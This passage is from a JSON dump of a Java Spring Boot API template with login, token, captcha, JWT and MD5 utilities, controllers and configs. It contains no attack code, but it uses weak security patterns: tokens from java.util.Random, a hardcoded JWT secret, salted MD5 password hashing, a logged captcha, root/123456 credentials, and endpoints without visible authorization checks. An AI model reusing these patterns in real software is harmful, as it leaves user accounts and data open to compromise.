token\n     * @return\n     */\n    public static String getUserIdByToken(String token) {\n        if (StringUtils.isBlank(token) || !token.contains(\"#\")) {\n            return \"\";\n        } else {\n            return token.substring(token.indexOf(\"#\") + 1);\n        }\n    }\n\n    /**\n     * 获取参数中的token\n     *\n     * @return\n     */\n    public String getTokenFromHeader() {\n        String token = request.getHeader(\"token\");\n        //如果header中不存在token，则从参数中获取token\n        if (StringUtils.isBlank(token)) {\n            token = request.getParameter(\"token\");\n        }\n        return token;\n    }\n\n    /**\n     * 获取当前session信息\n     *\n     * @return\n     */\n    public JSONObject getCurrentSession() {\n        String token = getTokenFromHeader();\n        if (null != token) {\n            if (redisDB.exists(USER_TOKEN_PREFIX + token)) {\n                String sessionInfoStr = redisDB.get(USER_TOKEN_PREFIX + token);\n                JSONObject sessionInfo = JSON.parseObject(sessionInfoStr);\n                return sessionInfo;\n            } else {\n                return null;\n            }\n        } else {\n            return null;\n        }\n    }\n\n\n    /**\n     * 使当前用户的token失效\n     */\n    public void abortUserByToken() {\n        String token = getTokenFromHeader();\n        redisDB.del(USER_TOKEN_PREFIX + token);\n    }\n\n    /**\n     * 使所有用户的token失效\n     */\n    public void abortAllUserByToken() {\n        String token = getTokenFromHeader();\n        String userId = getUserIdByToken(token);\n        redisDB.delKeys(USER_TOKEN_PREFIX+\"*#\" + userId);\n    }\n\n    /**\n     * 使用户的token失效\n     */\n    public void abortUserByUserId(Integer userId) {\n        redisDB.delKeys(USER_TOKEN_PREFIX+\"*#\" + userId);\n    }\n\n\n    /**\n     * 生成随机的token\n     *\n     * @param length\n     * @return\n     */\n    private String getRandomToken(int length) {\n        Random random = new Random();\n        StringBuilder randomStr = new StringBuilder();\n\n        // 根据length生成相应长度的随机字符串\n        for (int i = 0; i < length; i++) {\n            String charOrNum = random.nextInt(2) % 2 == 0 ? \"char\" : \"num\";\n\n            //输出字母还是数字\n            if (\"char\".equalsIgnoreCase(charOrNum)) {\n                //输出是大写字母还是小写字母\n                int temp = random.nextInt(2) % 2 == 0 ? 65 : 97;\n                randomStr.append((char) (random.nextInt(26) + temp));\n            } else if (\"num\".equalsIgnoreCase(charOrNum)) {\n                randomStr.append(String.valueOf(random.nextInt(10)));\n            }\n        }\n\n        return randomStr.toString();\n    }\n\n\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/service/IUserService.java",
    "content": "package com.company.project.service;\n\nimport com.company.project.core.Result;\nimport com.company.project.model.User;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\n/**\n * <p>\n *  服务类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface IUserService extends IService<User> {\n\n    Result checkPassword(User userParam);\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/service/RedisService.java",
    "content": "package com.company.project.service;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.redis.core.StringRedisTemplate;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.CollectionUtils;\n\nimport java.util.Date;\nimport java.util.Set;\nimport java.util.concurrent.TimeUnit;\n\n\n/**\n * @author : aitangbao\n */\n\n@Service\npublic class RedisService {\n    @Autowired\n    private StringRedisTemplate redisTemplate;\n\n    public boolean exists(String key) {\n        return this.redisTemplate.hasKey(key);\n    }\n\n    public String get(String key) {\n        String value = this.redisTemplate.opsForValue().get(key);\n        return value;\n    }\n\n\n    public void del(String key) {\n        if (this.exists(key)) {\n            this.redisTemplate.delete(key);\n        }\n\n    }\n\n    public void setAndExpire(String key, String value, int seconds) {\n        this.redisTemplate.opsForValue().set(key, value);\n        this.redisTemplate.expire(key, (long) seconds, TimeUnit.SECONDS);\n    }\n\n\n    public void setExpire(String key, Date endTime) {\n        long seconds = endTime.getTime() - (new Date()).getTime();\n        this.redisTemplate.expire(key, (long) ((int) (seconds / 1000L)), TimeUnit.SECONDS);\n    }\n\n\n    public Set keys(String pattern) {\n        return redisTemplate.keys(\"*\" + pattern);\n    }\n\n    public void delKeys(String pattern) {\n        Set<String> keys = redisTemplate.keys(pattern);\n        if (!CollectionUtils.isEmpty(keys)) {\n            this.redisTemplate.delete(keys);\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/service/impl/UserServiceImpl.java",
    "content": "package com.company.project.service.impl;\n\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultGenerator;\nimport com.company.project.model.User;\nimport com.company.project.dao.UserMapper;\nimport com.company.project.service.IUserService;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport com.company.project.service.RedisService;\nimport com.company.project.utils.MD5Utils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n * 服务实现类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Service\npublic class UserServiceImpl extends ServiceImpl<UserMapper, User> implements IUserService {\n\n    @Autowired\n    private UserMapper userMapper;\n\n\n    @Autowired\n    private RedisService redis;\n    @Value(\"${redis.key.prefix.passwordError}\")\n    private String PASSWORD_ERROR_PREFIX;\n    @Value(\"${redis.key.expire.passwordError}\")\n    private int PASSWORD_ERROR_EXPIRE;\n\n    @Override\n    public Result checkPassword(User userParam) {\n\n        String username = userParam.getUsername();\n        String password = userParam.getPassword();\n        //redis key\n        String redisPasswordErrorKey = PASSWORD_ERROR_PREFIX + username;\n        //判断账户是否锁定\n        String errorCount = redis.get(redisPasswordErrorKey);\n        if (errorCount != null && Integer.parseInt(errorCount) == 5) {\n            return ResultGenerator.genFailResult(\"密码连续错误5次，请1小时后重试\");\n        }\n        //根据用户名获取用户信息\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", username);\n        User user = userMapper.selectOne(queryWrapper);\n        if (user == null) {\n            return ResultGenerator.genFailResult(\"账号未找到\");\n        }\n\n        if (!MD5Utils.Encrypt(password, true).equals(user.getPassword())) {\n            if (errorCount == null) {\n                errorCount = \"1\";\n            } else {\n                errorCount = String.valueOf(Integer.parseInt(errorCount) + 1);\n            }\n            redis.setAndExpire(redisPasswordErrorKey, errorCount, PASSWORD_ERROR_EXPIRE);\n            if (\"5\".equals(errorCount)) {\n                return ResultGenerator.genFailResult(\"密码连续错误5次，请1小时后重试\");\n            } else {\n                return ResultGenerator.genFailResult(\"密码错误，剩余次数\" + (5 - Integer.parseInt(errorCount)));\n            }\n        } else {\n            //登录成功删除错误登录次数\n            redis.del(redisPasswordErrorKey);\n            return ResultGenerator.genSuccessResult(user);\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/utils/ImageCodeUtil.java",
    "content": "package com.company.project.utils;\n\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.imageio.ImageIO;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport java.awt.*;\nimport java.awt.image.BufferedImage;\nimport java.util.Random;\n\n@Slf4j\npublic class ImageCodeUtil {\n\n\n    public static final String IMAGE_RANDOM_CODEKEY = \"RANDOMVALIDATECODEKEY\";//放到session中的key\n    private String randString = \"0123456789\";//随机产生只有数字的字符串 private String\n    //private String randString = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";//随机产生只有字母的字符串\n    //private String randString = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\";//随机产生数字与字母组合的字符串\n    private int width = 95;// 图片宽\n    private int height = 25;// 图片高\n    private int lineSize = 40;// 干扰线数量\n    private int stringNum = 4;// 随机产生字符数量\n\n\n    private Random random = new Random();\n\n    /**\n     * 获得字体\n     */\n    private Font getFont() {\n        return new Font(\"Fixedsys\", Font.CENTER_BASELINE, 18);\n    }\n\n    /**\n     * 获得颜色\n     */\n    private Color getRandColor(int fc, int bc) {\n        if (fc > 255)\n            fc = 255;\n        if (bc > 255)\n            bc = 255;\n        int r = fc + random.nextInt(bc - fc - 16);\n        int g = fc + random.nextInt(bc - fc - 14);\n        int b = fc + random.nextInt(bc - fc - 18);\n        return new Color(r, g, b);\n    }\n\n    /**\n     * 生成随机图片\n     */\n    public void getRandcode(HttpServletRequest request, HttpServletResponse response) {\n        HttpSession session = request.getSession();\n        // BufferedImage类是具有缓冲区的Image类,Image类是用于描述图像信息的类\n        BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR);\n        Graphics g = image.getGraphics();// 产生Image对象的Graphics对象,改对象可以在图像上进行各种绘制操作\n        g.fillRect(0, 0, width, height);//图片大小\n        g.setFont(new Font(\"Times New Roman\", Font.ROMAN_BASELINE, 18));//字体大小\n        g.setColor(getRandColor(110, 133));//字体颜色\n        // 绘制干扰线\n        for (int i = 0; i <= lineSize; i++) {\n            drowLine(g);\n        }\n        // 绘制随机字符\n        String randomString = \"\";\n        for (int i = 1; i <= stringNum; i++) {\n            randomString = drowString(g, randomString, i);\n        }\n        log.info(randomString);\n        //将生成的随机字符串保存到session中\n        session.removeAttribute(IMAGE_RANDOM_CODEKEY);\n        session.setAttribute(IMAGE_RANDOM_CODEKEY, randomString);\n        g.dispose();\n        try {\n            // 将内存中的图片通过流动形式输出到客户端\n            ImageIO.write(image, \"JPEG\", response.getOutputStream());\n        } catch (Exception e) {\n            log.error(\"将内存中的图片通过流动形式输出到客户端失败>>>>   \", e);\n        }\n\n    }\n\n    /**\n     * 绘制字符串\n     */\n    private String drowString(Graphics g, String randomString, int i) {\n        g.setFont(getFont());\n        g.setColor(new Color(random.nextInt(101), random.nextInt(111), random\n                .nextInt(121)));\n        String rand = String.valueOf(getRandomString(random.nextInt(randString\n                .length())));\n        randomString += rand;\n        g.translate(random.nextInt(3), random.nextInt(3));\n        g.drawString(rand, 13 * i, 16);\n        return randomString;\n    }\n\n    /**\n     * 绘制干扰线\n     */\n    private void drowLine(Graphics g) {\n        int x = random.nextInt(width);\n        int y = random.nextInt(height);\n        int xl = random.nextInt(13);\n        int yl = random.nextInt(15);\n        g.drawLine(x, y, x + xl, y + yl);\n    }\n\n    /**\n     * 获取随机的字符\n     */\n    public String getRandomString(int num) {\n        return String.valueOf(randString.charAt(num));\n    }\n}"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/utils/JwtUtils.java",
    "content": "package com.company.project.utils;\n\nimport com.company.project.model.User;\nimport io.jsonwebtoken.Claims;\nimport io.jsonwebtoken.Jwts;\nimport io.jsonwebtoken.SignatureAlgorithm;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.Date;\n\n/**\n * jwt工具类\n */\npublic class JwtUtils {\n\n    public static final String USER_ID_KEY = \"user_id_key\";\n\n    public static final String USER_ACCOUNT_KEY = \"user_account_key\";\n\n\n    public static final String SUBJECT = \"onehee\";\n\n    public static final long EXPIRE = 1000*60*60*24*7;  //过期时间，毫秒，一周\n\n    //秘钥\n    public static final  String APPSECRET = \"onehee666\";\n\n    /**\n     * 生成jwt\n     * @param user\n     * @return\n     */\n    public static String geneJsonWebToken(User user){\n\n        String token = Jwts.builder().setSubject(SUBJECT)\n                .claim(\"id\",user.getId())\n                .claim(\"userName\",user.getUsername())\n                .setIssuedAt(new Date())\n                .setExpiration(new Date(System.currentTimeMillis()+EXPIRE))\n                .signWith(SignatureAlgorithm.HS256,APPSECRET).compact();\n\n        return token;\n    }\n\n\n    /**\n     * 校验token\n     * @param token\n     * @return\n     */\n    public static Claims checkJWT(String token ){\n\n        try{\n            final Claims claims =  Jwts.parser().setSigningKey(APPSECRET).\n                    parseClaimsJws(token).getBody();\n            return  claims;\n\n        }catch (Exception e){ }\n        return null;\n\n    }\n\n\n    /**\n     * 判断当前登陆用户是不是admin\n     * @param request\n     * @return\n     */\n    public static boolean isAdmin(HttpServletRequest request) {\n        if (request.getAttribute(USER_ACCOUNT_KEY) == null) {\n            return false;\n        }\n        if (\"admin\".equals(request.getAttribute(USER_ACCOUNT_KEY).toString())){\n            return true;\n        } else {\n            return false;\n        }\n    }\n\n\n\n}"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/utils/MD5Utils.java",
    "content": "package com.company.project.utils;\n\nimport org.apache.commons.codec.digest.DigestUtils;\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\n\npublic class MD5Utils {\n\n\tprivate static String salt = \"springboot_api\";\n\t\n\t/**\n\t * 加密字符串\n\t * @param password 要加密的明文\n\t * @param isAddSalt 是否加默认盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, boolean isAddSalt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\tif (isAddSalt){\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t\t} else {\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password));\n\t\t\t}\n\t\t}\n\t\treturn null;\t\t\n\t}\n\t\n\t/**\n\t * \n\t * @param bytes\n\t * @return\n\t */\n\tpublic static String Encrypt(byte[] bytes){\n\t\tif (ArrayUtils.isNotEmpty(bytes)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(bytes));\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * MD5加盐加密\n\t * @param password 要加密的明文\n\t * @param salt 盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, String salt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t}\n\t\treturn null;\t\t\t\n\t}\n\t\n\tpublic static void main(String[] args){\n\t\tSystem.out.println(MD5Utils.Encrypt(\"admin\", true));\n\t}\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/web/UserController.java",
    "content": "package com.company.project.web;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultGenerator;\nimport com.company.project.service.HttpSessionService;\nimport com.company.project.utils.MD5Utils;\nimport com.company.project.utils.ImageCodeUtil;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.web.bind.annotation.*;\nimport com.company.project.service.IUserService;\nimport com.company.project.model.User;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport javax.validation.Valid;\n\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * <p>\n * 前端控制器\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/api/user\")\npublic class UserController {\n\n    @Resource\n    private IUserService userService;\n    @Autowired\n    private HttpSessionService httpSession;\n\n    @Value(\"${redis.allowMultipleLogin}\")\n    private Boolean allowMultipleLogin;\n\n    @ApiOperation(\"登陆\")\n    @PostMapping(\"/login\")\n    public Result login(@RequestBody @Valid User userParam) {\n\n        //校验密码，5次错误锁定账户\n        Result result = userService.checkPassword(userParam);\n        if (!result.getSuccess()) {\n            return result;\n        }\n        //成功之后返回user\n        User user = (User)result.getData();\n\n        //是否删除之前token， 此处控制是否支持多登陆端；\n        // true:允许多处登陆; false:只能单处登陆，顶掉之前登陆\n        if (!allowMultipleLogin) {\n            httpSession.abortUserByUserId(user.getId());\n        }\n\n        //生成token\n        String token = httpSession.createTokenAndUser(user);\n\n        Map<String, String> resultMap = new HashMap<>(2);\n        resultMap.put(\"token\", token);\n        resultMap.put(\"username\", userParam.getUsername());\n        return ResultGenerator.genSuccessResult(resultMap);\n    }\n\n    @ApiOperation(\"注册\")\n    @PostMapping(\"/register\")\n    public Result register(@RequestBody @Valid User user) {\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", user.getUsername());\n        User userO = userService.getOne(queryWrapper);\n        if (userO != null) {\n            return ResultGenerator.genFailResult(\"账号已存在\");\n        }\n        user.setPassword(MD5Utils.Encrypt(user.getPassword(), true));\n        userService.save(user);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(\"修改密码\")\n    @PostMapping(\"/updatePassword\")\n    public Result updatePassword(@RequestBody JSONObject param) {\n        String oldPassword = param.getString(\"oldPassword\");\n        String newPassword = param.getString(\"newPassword\");\n        if (StringUtils.isBlank(oldPassword) || StringUtils.isBlank(newPassword)) {\n            return ResultGenerator.genFailResult(\"密码不能为空\");\n        }\n        //获取登陆信息\n        JSONObject sessionInfo = httpSession.getCurrentSession();\n        String userId = sessionInfo.getString(\"userId\");\n\n        User user = userService.getById(userId);\n        if (user == null) {\n            return ResultGenerator.genFailResult(\"账号未找到\");\n        }\n        if (!MD5Utils.Encrypt(oldPassword, true).equals(user.getPassword())) {\n            return ResultGenerator.genFailResult(\"旧密码错误\");\n        }\n        User updateUser = new User();\n        updateUser.setId(user.getId());\n        updateUser.setPassword(MD5Utils.Encrypt(newPassword, true));\n        userService.updateById(updateUser);\n\n        //重置密码后删除原所有token\n        httpSession.abortAllUserByToken();\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(\"登出\")\n    @GetMapping(\"/logout\")\n    public Result logout() {\n        //退出删除token\n        httpSession.abortUserByToken();\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(\"校验token是否有效\")\n    @GetMapping(\"/validateToken\")\n    public Result validateToken() {\n        //拦截器拦截已判断，直接返回成功\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"删除\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id) {\n        userService.removeById(id);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"更新\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody User user) {\n        //密码不更新\n        user.setPassword(null);\n        userService.updateById(user);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"查询分页数据\")\n    @ApiImplicitParams({\n            @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n            @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam(defaultValue = \"1\") Integer currentPage,\n                                 @RequestParam(defaultValue = \"10\") Integer pageCount) {\n        Page page = new Page(currentPage, pageCount);\n        IPage<User> iPage = userService.page(page);\n        return ResultGenerator.genSuccessResult(iPage);\n    }\n\n    @ApiOperation(value = \"id查询\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id) {\n        return ResultGenerator.genSuccessResult(userService.getById(id));\n    }\n\n    @ApiOperation(value = \"生成验证码\")\n    @GetMapping(value = \"/getVerify\")\n    public void getVerify(HttpServletRequest request, HttpServletResponse response) {\n        response.setContentType(\"image/jpeg\");//设置相应类型,告诉浏览器输出的内容为图片\n        response.setHeader(\"Pragma\", \"No-cache\");//设置响应头信息，告诉浏览器不要缓存此内容\n        response.setHeader(\"Cache-Control\", \"no-cache\");\n        response.setDateHeader(\"Expire\", 0);\n        try {\n            ImageCodeUtil randomValidateCode = new ImageCodeUtil();\n            randomValidateCode.getRandcode(request, response);//输出验证码图片方法\n        } catch (Exception e) {\n            log.error(\"生成验证码失败\");\n        }\n    }\n\n    @ApiOperation(value = \"校验验证码\")\n    @PostMapping(value = \"/checkVerify\")\n    public Result checkVerify(@RequestParam String imageCode, HttpSession session) {\n        //从session中获取随机数\n        Object random = session.getAttribute(ImageCodeUtil.IMAGE_RANDOM_CODEKEY);\n        if (random != null && String.valueOf(random).equals(imageCode)) {\n            return ResultGenerator.genSuccessResult();\n        }\n        return ResultGenerator.genFailResult(\"校验失败\");\n    }\n\n\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/resources/application-dev.yml",
    "content": "# 开发环境配置\nspring:\n  datasource:\n    dynamic:\n      primary: master #设置默认的数据源或者数据源组,默认值即为master\n      datasource:\n        master:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://localhost:3306/project?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        slave_1:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://xx.xx.xx.xx:3307/dynamic?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        slave_2:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://xx.xx.xx.xx:3308/dynamic?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        #......省略\n        #以上会配置一个默认库master，一个组slave下有两个子库slave_1,slave_2\n\nredis:\n  key:\n    prefix:\n      userToken: \"user:token:\"\n      passwordError: \"user:password:error:\"\n    expire:\n      userToken: 604800 # 7天 7*24*3600\n      passwordError: 3600 # 一个小时\n  allowMultipleLogin: false # 允许多处登陆\n  host: localhost # Redis服务器地址\n  database: 0 # Redis数据库索引（默认为0）\n  port: 6379 # Redis服务器连接端口\n  password: # Redis服务器连接密码（默认为空）\n  jedis:\n    pool:\n      max-active: 8 # 连接池最大连接数（使用负值表示没有限制）\n      max-wait: -1ms # 连接池最大阻塞等待时间（使用负值表示没有限制）\n      max-idle: 8 # 连接池中的最大空闲连接\n      min-idle: 0 # 连接池中的最小空闲连接\n  timeout: 3000ms # 连接超时时间（毫秒\n\nmybatis-plus:\n  configuration:\n    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl\n  mapper-locations: classpath:mapper/*.xml\n  global-config:\n    db-config:\n      logic-delete-value: 1\n      logic-not-delete-value: 0\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/resources/application-prod.yml",
    "content": "# 生产环境配置\n\nknife4j:\n  production: true #生成环境禁用查看文档"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/resources/application-test.yml",
    "content": "# 测试环境配置\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/resources/application.yml",
    "content": "spring:\n  profiles:\n    active: dev\n  mvc:\n    throw-exception-if-no-handler-found: true\n  resources:\n    add-mappings: false\n  application:\n    name: Springboot-api\n  jackson:\n    date-format: yyyy-MM-dd HH:mm:ss\n    time-zone: GMT+8\nserver:\n  port: 8080\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/resources/banner.txt",
    "content": "////////////////////////////////////////////////////////////////////\n//                          _ooOoo_                               //\n//                         o8888888o                              //\n//                         88\" . \"88                              //\n//                         (| ^_^ |)                              //\n//                         O\\  =  /O                              //\n//                      ____/`---'\\____                           //\n//                    .'  \\\\|     |//  `.                         //\n//                   /  \\\\|||  :  |||//  \\                        //\n//                  /  _||||| -:- |||||-  \\                       //\n//                  |   | \\\\\\  -  /// |   |                       //\n//                  | \\_|  ''\\---/''  |   |                       //\n//                  \\  .-\\__  `-`  ___/-. /                       //\n//                ___`. .'  /--.--\\  `. . ___                     //\n//              .\"\" '<  `.___\\_<|>_/___.'  >'\"\".                  //\n//            | | :  `- \\`.;`\\ _ /`;.`/ - ` : | |                 //\n//            \\  \\ `-.   \\_ __\\ /__ _/   .-` /  /                 //\n//      ========`-.____`-.___\\_____/___.-`____.-'========         //\n//                           `=---='                              //\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^        //\n//            佛祖保佑       永不宕机     永无BUG                    //\n////////////////////////////////////////////////////////////////////"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/resources/mapper/UserMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.company.project.dao.UserMapper\">\n\n        <!-- 通用查询映射结果 -->\n        <resultMap id=\"BaseResultMap\" type=\"com.company.project.model.model.User\">\n                    <id column=\"id\" property=\"id\"/>\n                    <result column=\"username\" property=\"username\"/>\n                    <result column=\"password\" property=\"password\"/>\n                    <result column=\"nick_name\" property=\"nickName\"/>\n                    <result column=\"sex\" property=\"sex\"/>\n                    <result column=\"create_date\" property=\"createDate\"/>\n                    <result column=\"create_user\" property=\"createUser\"/>\n                    <result column=\"update_date\" property=\"updateDate\"/>\n                    <result column=\"update_user\" property=\"updateUser\"/>\n                    <result column=\"del_flag\" property=\"delFlag\"/>\n        </resultMap>\n\n        <!-- 通用查询结果列 -->\n        <sql id=\"Base_Column_List\">\n            id, username, password, nick_name, sex, create_date, create_user, update_date, update_user, del_flag\n        </sql>\n\n</mapper>"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/test/java/CodeGenerator.java",
    "content": "import com.baomidou.mybatisplus.core.toolkit.StringPool;\nimport com.baomidou.mybatisplus.generator.AutoGenerator;\nimport com.baomidou.mybatisplus.generator.InjectionConfig;\nimport com.baomidou.mybatisplus.generator.config.*;\nimport com.baomidou.mybatisplus.generator.config.po.TableInfo;\nimport com.baomidou.mybatisplus.generator.config.rules.DateType;\nimport com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;\nimport com.baomidou.mybatisplus.generator.engine.FreemarkerTemplateEngine;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n// 演示例子，执行 main 方法控制台输入模块表名回车自动生成对应项目目录中\npublic class CodeGenerator {\n\n\n    //多个表逗号分隔\n    static String tableName = \"user\";\n    //逻辑删除字段名, 假如表没有逻辑删除字段，请忽视\n    static String logicDeleteFieldName = \"del_flag\";\n\n    public static void main(String[] args) {\n        // 代码生成器\n        AutoGenerator mpg = new AutoGenerator();\n\n        // 全局配置\n        GlobalConfig gc = new GlobalConfig();\n        String projectPath = System.getProperty(\"user.dir\");\n        gc.setOutputDir(projectPath + \"/src/main/java\");\n        gc.setAuthor(\"aitangbao\");\n        gc.setOpen(false);\n        gc.setBaseColumnList(true);\n        gc.setBaseResultMap(true);\n        gc.setDateType(DateType.ONLY_DATE);\n        // gc.setSwagger2(true); 实体属性 Swagger2 注解\n        mpg.setGlobalConfig(gc);\n\n        // 数据源配置\n        DataSourceConfig dsc = new DataSourceConfig();\n        dsc.setUrl(\"jdbc:mysql://localhost:3306/project?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=UTC\");\n        // dsc.setSchemaName(\"public\");\n        dsc.setDriverName(\"com.mysql.cj.jdbc.Driver\");\n        dsc.setUsername(\"root\");\n        dsc.setPassword(\"123456\");\n        mpg.setDataSource(dsc);\n\n        // 包配置\n        PackageConfig pc = new PackageConfig();\n        pc.setParent(\"com.company.project\");\n        pc.setEntity(\"model\");\n        pc.setMapper(\"dao\");\n        pc.setController(\"web\");\n        mpg.setPackageInfo(pc);\n\n        // 自定义配置\n        InjectionConfig cfg = new InjectionConfig() {\n            @Override\n            public void initMap() {\n                // to do nothing\n            }\n        };\n\n        // 如果模板引擎是 freemarker\n        String templatePath = \"/templates/mapper.xml.ftl\";\n        // 如果模板引擎是 velocity\n        // String templatePath = \"/templates/mapper.xml.vm\";\n\n        // 自定义输出配置\n        List<FileOutConfig> focList = new ArrayList<>();\n        // 自定义配置会被优先输出\n        focList.add(new FileOutConfig(templatePath) {\n            @Override\n            public String outputFile(TableInfo tableInfo) {\n                // 自定义输出文件名 ， 如果你 Entity 设置了前后缀、此处注意 xml 的名称会跟着发生变化！！\n                return projectPath + \"/src/main/resources/mapper/\" + tableInfo.getEntityName() + \"Mapper\" + StringPool.DOT_XML;\n            }\n        });\n        cfg.setFileOutConfigList(focList);\n        mpg.setCfg(cfg);\n\n        // 配置模板\n        TemplateConfig templateConfig = new TemplateConfig();\n\n        // 配置自定义输出模板\n        //指定自定义模板路径，注意不要带上.ftl/.vm, 会根据使用的模板引擎自动识别\n//         templateConfig.setEntity(\"templates/entity.java\");\n        // templateConfig.setService();\n         templateConfig.setController(\"templates/controller.java\");\n\n        templateConfig.setXml(null);\n        mpg.setTemplate(templateConfig);\n\n        // 策略配置\n        StrategyConfig strategy = new StrategyConfig();\n        strategy.setNaming(NamingStrategy.underline_to_camel);\n        strategy.setColumnNaming(NamingStrategy.underline_to_camel);\n//        strategy.setSuperEntityClass(\"你自己的父类实体,没有就不用设置!\");\n        strategy.setEntityLombokModel(true);\n        strategy.setRestControllerStyle(true);\n        // 公共父类\n//        strategy.setSuperControllerClass(\"你自己的父类控制器,没有就不用设置!\");\n        // 写于父类中的公共字段\n//        strategy.setSuperEntityColumns(\"id\");\n        strategy.setInclude(tableName.split(\",\"));\n        strategy.setControllerMappingHyphenStyle(true);\n        strategy.setLogicDeleteFieldName(logicDeleteFieldName); // 逻辑删除字段名称\n        strategy.setTablePrefix(pc.getModuleName() + \"_\");\n        mpg.setStrategy(strategy);\n        mpg.setTemplateEngine(new FreemarkerTemplateEngine());\n        mpg.execute();\n    }\n\n}"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/test/java/com/company/project/Tester.java",
